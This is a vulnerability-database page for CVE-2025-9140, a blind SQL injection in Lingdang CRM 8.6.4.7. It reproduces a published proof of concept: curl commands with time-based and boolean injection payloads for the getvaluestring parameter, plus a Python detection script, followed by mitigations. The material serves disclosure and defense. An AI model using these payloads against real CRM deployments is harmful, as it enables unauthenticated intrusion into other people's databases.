Lucene search
K

๐Ÿ“„ Lingdang CRM 8.6.4.7 SQL Injection

๐Ÿ—“๏ธย 26 Aug 2025ย 00:00:00Reported byย Beatriz Fresno NaumovaTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 121ย Views

Lingdang CRM 8.6.4.7 SQL injection via getvaluestring; unauth time/boolean blind; fixed 8.6.5

Related
Code
ReporterTitlePublishedViews
Family
CNNVD
Lingdang CRM SQLๆณจๅ…ฅๆผๆดž
19 Aug 202500:00
โ€“cnnvd
CNVD
Lingdang CRM SQL Injection Vulnerability
26 Aug 202500:00
โ€“cnvd
CVE
CVE-2025-9140
19 Aug 202513:32
โ€“cve
Cvelist
CVE-2025-9140 Shanghai Lingdang Information Technology Lingdang CRM tabdetail_moduleSave.php sql injection
19 Aug 202513:32
โ€“cvelist
Exploit DB
Lingdang CRM 8.6.4.7 - SQL Injection
26 Aug 202500:00
โ€“exploitdb
EUVD
EUVD-2025-25171
3 Oct 202520:07
โ€“euvd
NVD
CVE-2025-9140
19 Aug 202514:15
โ€“nvd
Packet Storm
๐Ÿ“„ Lingdang CRM 8.6.4.7 SQL Injection
23 Jan 202600:00
โ€“packetstorm
Positive Technologies
PT-2025-33732 ยท Unknown ยท Lingdang Crm
19 Aug 202500:00
โ€“ptsecurity
RedhatCVE
CVE-2025-9140
21 Aug 202514:25
โ€“redhatcve
Rows per page
# Exploit Title: Lingdang CRM 8.6.4.7 - SQL Injection
    # Google Dork: N/A
    # Date: 2025-08-19
    # Exploit Author: Beatriz Fresno Naumova
    # Vendor: Shanghai Lingdang Information Technology)
    # Software Link: (N/A โ€“ commercial product)
    # Version: <= 8.6.4.7 (fixed in 8.6.5.x per vendor advisory)
    # Tested on: Generic LAMP stack, PHP 7/8 (PoC uses HTTP only; no OS dependency)
    # CVE : CVE-2025-9140
    
    # Summary
    # The endpoint /crm/crmapi/erp/tabdetail_moduleSave.php is vulnerable to SQL injection via the
    # 'getvaluestring' parameter. An unauthenticated remote attacker can perform boolean/time-based
    # blind SQL injection. Vendor states this was fixed by adopting parameterized queries in v8.6.5+.
    
    # Route
    #   /crm/crmapi/erp/tabdetail_moduleSave.php
    # Parameter
    #   getvaluestring (GET or POST)
    
    # Notes
    # * This PoC does NOT target a live site. Replace TARGET with a lab host you own.
    # * Demonstrates time-based blind (SLEEP) and boolean-based payloads.
    
    # --- Quick PoC with curl (time-based blind) ---
    # Expect ~5s response delay on vulnerable targets.
    
    # GET variant:
    curl -i -k "http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php?getvaluestring='||(SELECT SLEEP(5))--+-"
    
    # POST variant:
    curl -i -k -X POST "http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php" \
      --data "getvaluestring='||(SELECT SLEEP(5))--+-"
    
    # --- Boolean-based example (response/body differences may vary by deployment) ---
    curl -s -k "http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php?getvaluestring=' OR 1=1-- -" -o /tmp/true.html
    curl -s -k "http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php?getvaluestring=' OR 1=2-- -" -o /tmp/false.html
    # Compare /tmp/true.html vs /tmp/false.html for observable differences.
    
    # --- Python 3 PoC (time-based) ---
    # Save as lingdang_sqli_poc.py and run:  python3 lingdang_sqli_poc.py http://TARGET
    
    import sys, time, requests
    
    def test_time_sqli(base):
        url_get = f"{base.rstrip('/')}/crm/crmapi/erp/tabdetail_moduleSave.php"
        payload = "'||(SELECT SLEEP(5))--+-"
        try:
            t0 = time.time()
            r = requests.get(url_get, params={"getvaluestring": payload}, timeout=30, verify=False)
            dt = time.time() - t0
            print(f"[+] GET status={r.status_code} elapsed={dt:.2f}s")
            if dt >= 5:
                print("[+] Likely vulnerable to time-based SQLi via GET.")
            else:
                print("[-] No significant delay observed via GET.")
        except Exception as e:
            print(f"[!] GET error: {e}")
    
        try:
            t0 = time.time()
            r = requests.post(url_get, data={"getvaluestring": payload}, timeout=30, verify=False)
            dt = time.time() - t0
            print(f"[+] POST status={r.status_code} elapsed={dt:.2f}s")
            if dt >= 5:
                print("[+] Likely vulnerable to time-based SQLi via POST.")
            else:
                print("[-] No significant delay observed via POST.")
        except Exception as e:
            print(f"[!] POST error: {e}")
    
    if __name__ == "__main__":
        if len(sys.argv) != 2:
            print(f"Usage: {sys.argv[0]} http://TARGET")
            sys.exit(1)
        requests.packages.urllib3.disable_warnings()
        test_time_sqli(sys.argv[1])
    
    # --- Impact ---
    # Confidentiality, integrity, availability compromise via SQL injection (CWE-89).
    
    # --- Mitigations ---
    # 1) Use parameterized queries / prepared statements for getvaluestring.
    # 2) Server-side input validation and allow-listing for the parameter.
    # 3) Web Application Firewall (WAF) rules to block SQLi patterns on this route.
    
    # --- Disclosure ---
    # Public identifiers: CVE-2025-9140 (VulDB VDB-320520).
    # Vendor reportedly fixed in 8.6.5+ with parameterized queries.

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Aug 2025 00:00Current
8.5High risk
Vulners AI Score8.5
CVSS 3.16.3 - 8.8
CVSS 45.3
CVSS 26.5
CVSS 36.3
EPSS0.00143
SSVC
121